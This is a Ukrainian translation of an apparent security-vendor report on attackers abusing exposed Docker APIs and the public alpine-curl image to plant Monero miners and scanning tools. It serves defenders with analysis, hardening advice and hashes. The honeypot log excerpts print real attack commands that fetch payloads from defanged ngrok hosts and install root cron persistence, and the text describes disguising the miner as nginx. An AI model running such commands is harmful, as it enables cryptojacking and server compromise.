Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют

Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют

Ми проаналізували дані, зібрані за допомогою контейнерів-honeypots - вони були створені нами для відстеження загроз. І ми виявили значну активність небажаних або неавторизованих майнерів криптовалют, розгорнутих як шахрайські контейнери з використанням опублікованого спільнотою образу Docker Hub. Образ застосовується як частина сервісу, що доставляє шкідливі програми-майнер криптовалют.

Додатково встановлюються програми для роботи з мережами для проникнення у відкриті сусідні контейнери та програми.

Ми залишаємо наші honeypots, як є, тобто з налаштуваннями, що йдуть за замовчуванням, без будь-яких заходів безпеки або подальшого встановлення додаткового ПЗ. Звертаємо увагу на те, що Docker має рекомендації щодо початкового налаштування, щоб уникнути помилок і найпростіших вразливостей. Але використовувані honeypots є контейнерами, призначеними виявлення атак, вкладених у платформу контейнеризації, а чи не додатків усередині контейнерів.

Виявлена ​​шкідлива активність примітна також тим, що не потребує уразливостей, а також незалежна від версії Docker. Пошук неправильно налаштованого, а тому відкритого образу контейнера - все, що треба зловмисникам для зараження безлічі відкритих серверів.

Незакритий Docker API дозволяє користувачеві виконувати широкий набір команда, включаючи отримання списку запущених контейнерів, отримання журналів з певного контейнера, запуск, зупинка (зокрема і примусова) і навіть створення нового контейнера з певного образу із заданими настройками.

Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют
Зліва – спосіб доставки шкідливих програм. Справа - оточення атакуючого, що дозволяє віддалену розкочування образів.

Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют
Розподіл країнами з 3762 відкритих Docker API. Засновано на пошуку в Shodan від 12.02.2019

Ланцюжок атаки та варіанти корисного навантаження

Шкідливу активність вдалося виявити не тільки за допомогою грошимихпотів. Дані з Shodan показують, що кількість відкритих Docker API (див. другий графік) зросла з того часу, як ми досліджували неправильно налаштований контейнер, що використовувався як мост для розгортання ПЗ для майнінгу криптовалюти Monero. У жовтні минулого року (2018, актуальні дані можна подивитися так прим. перекладача) було лише 856 відкритих API.

Вивчення журналів honeypots показало, що використання образу контейнера також пов'язане з використанням ngrok, інструментом встановлення безпечних з'єднань або прокидання трафіку з публічно доступних точок до вказаних адрес або ресурсів (наприклад localhost). Це дозволяє зловмисникам динамічно створювати URL`и при доставці корисного навантаження на відкритий сервер. Нижче наведено приклади коду з журналів, що показують зловживання сервісом ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Як ви бачите, завантажені файли завантажуються з URL, що постійно змінюються. Ці URL-адреси мають короткий термін дії, тому корисні навантаження не можуть бути завантажені після закінчення терміну дії.

Є два варіанти корисного навантаження. Перший - скомпільований майнер у форматі ELF для Linux (визначений як Coinminer.SH.MALXMR.ATNO), який підключається до пулу для майнінгу. Другий - скрипт (TrojanSpy.SH.ZNETMAP.A), призначений для отримання певних мережевих інструментів, що використовуються для сканування мережевих діапазонів та подальшого пошуку нових цілей.

Скрипт-дроппер виставляє дві змінні, що використовуються потім для розгортання майнера криптовалюти. Змінна HOST містить URL, де розміщені шкідливі файли, а змінна RIP - ім'я файлу (за фактом хеш) майнера для розгортання. Змінна HOST змінюється щоразу при зміні змінної з хеш. Скрипт також намагається перевіряти, що на сервері, що атакується, не працюють інші майнери криптовалют.

Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют
Приклади змінних HOST і RIP, а також уривок коду, що використовується як перевірка, що не запущені інші майнери

Перш ніж запускати майнер, він перейменовується в nginx. Інші версії цього скрипта перейменовують майнер на інші легітимні сервіси, які можуть бути присутніми в оточеннях Linux. Цього зазвичай достатньо для обходу перевірок за списком запущених процесів.

Пошуковий скрипт також має особливості. Він працює з сервісом URL для розгортання необхідних інструментів. Серед них є бінарник zmap, який використовується для сканування мереж та отримання списку відкритих портів. Скрипт також завантажує інший бінарник, що використовується для взаємодії зі знайденими сервісами та отримання від них банерів для визначення додаткової інформації про знайдений сервіс (наприклад, його версію).

Скрипт також визначає деякі мережні діапазони для сканування, але це залежить від версії скрипта. Також у ньому задаються цільові порти від сервісів – у разі Docker – перед запуском сканування.

Щойно знайдено передбачувані цілі – автоматично з них знімаються банери. Скрипт також фільтрує цілі в залежності від сервісів, додатків, компонентів або платформ, що цікавлять його: Redis, Jenkins, Drupal, MODX, Майстер Kubernetes, клієнт Docker 1.16 та Apache CouchDB. Якщо сканований сервер відповідає будь-якому з них, він зберігається в текстовому файлі, який зловмисники надалі зможуть використовувати для подальшого аналізу та злому. Ці текстові файли завантажуються на сервери зловмисників за динамічними посиланнями. Тобто для кожного файлу використовується окрема URL-адреса, що означає труднощі при подальшому доступі.

Як вектор атаки застосовується образ Docker, як це видно на наступних двох шматочках коду.

Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют
Зверху – перейменування на легітимний сервіс, а знизу – як застосовується zmap для сканування мереж

Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют
Зверху – зумовлені мережеві діапазони, знизу – певні порти для пошуку сервісів, включаючи Docker

Як незакритий Docker API та публічні образи від спільноти використовуються для поширення майнерів криптовалют
На знімку екрана видно, що образ alpine-curl завантажений понад 10 млн разів

На основі Alpine Linux та curl, ресурсоефективного інструменту CLI для передачі файлів за різними протоколами, можна зібрати образ Docker. Як видно на попередньому малюнку, цей образ вже був завантажений понад 10 мільйонів разів. Велика кількість завантажень може означати використання цього образу як точку входу, оновлення цього образу було більше півроку тому, інші образи цього репозиторію користувачі не завантажували так само часто. У Docker точка входу — Набір інструкцій, які використовуються для налаштування контейнера для запуску. Якщо параметри точки входу некоректні (наприклад, контейнер залишений відкритим з Інтернету), образ можна використовувати як вектор атаки. Зломщики можуть використовувати його для доставки корисного навантаження, якщо виявлять залишений без підтримки неправильно налаштований або відкритий контейнер.

Важливо, що цей образ (alpine-curl) сам по собі не є шкідливим, проте як можна побачити вище – за його допомогою можна виконувати шкідливі функції. Подібні образи Docker також можуть бути використані для вчинення зловмисних дій. Ми зв'язалися з Docker та працювали з ними над цією проблемою.

Рекомендації

Неправильне налаштування залишається постійною проблемою для багатьох компаній, що особливо впроваджують DevOps, орієнтований на швидку розробку та доставку. Все посилюється через необхідність дотримуватись правил аудиту, моніторингу, необхідності стеження за конфіденційністю даних, а також величезних збитків від їх недотримання. Впровадження автоматизації безпеки в життєвий цикл розробки не тільки допомагає знайти дірки в безпеці, які інакше могли б залишитися непоміченими, але й дозволяє зменшити зайве робоче навантаження, наприклад, запуск додаткових збірок програмного забезпечення для кожної виявленої вразливості або неправильного налаштування після розгортання програми.

Інцидент, що обговорюється в цій статті, наголошує на необхідності потурбуватися про безпеку спочатку, включаючи такі рекомендації:

  • Для системних адміністраторів та розробників: завжди перевіряйте налаштування API, щоб переконатися, що все налаштовано для отримання запитів лише від певного сервера або внутрішньої мережі.
  • Дотримуйтесь принципу мінімальних прав: перевірте, що образи контейнерів підписано та перевірено, обмежте доступ до критично важливих компонентів (сервіс запуску контейнерів) та додайте шифрування мережевих з'єднань.
  • дотримуйтесь рекомендаціям та увімкніть механізми безпеки, наприклад від Docker та вбудовані функції безпеки.
  • Застосовуйте автоматизоване сканування середовищ виконання та образів для отримання додаткової інформації про процеси, запущені в контейнері (наприклад, визначення підміни або пошуку вразливостей). Контроль програм та моніторинг цілісності допомагають відстежувати аномальні зміни на серверах, файлах та системних областях.

Trendmicro допомагає командам DevOps збирати безпечно, викочувати швидко та запускатися будь-де. Trend Micro Гібридна хмарна безпека забезпечує потужну, оптимізовану та автоматизовану безпеку в рамках конвеєра DevOps організації та надає кілька способів захисту від загроз XGen для захисту фізичних, віртуальних та хмарних робочих навантажень під час виконання. Він також додає захист контейнерів за допомогою Deep Security и Deep Security Smart Check, які сканують образи контейнерів Docker на наявність шкідливих програм та вразливостей на будь-якому інтервалі в конвеєрі розробки для запобігання загрозам до їх розгортання.

Ознаки компрометації

Пов'язані хеші:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

На відеокурсі по Docker спікери-практики показують, які налаштування необхідно зробити в першу чергу, щоб мінімізувати ймовірність або уникнути виникнення описаної вище ситуації. А 19-21 серпня на онлайн-інтенсиві DevOps Tools&Cheats ці та подібні проблеми безпеки ви зможете обговорити з колегами та викладачами-практиками на круглому столі, де кожен зможе висловитися та послухати про біль та успіхи досвідчених колег.

Джерело: habr.com

Додати коментар або відгук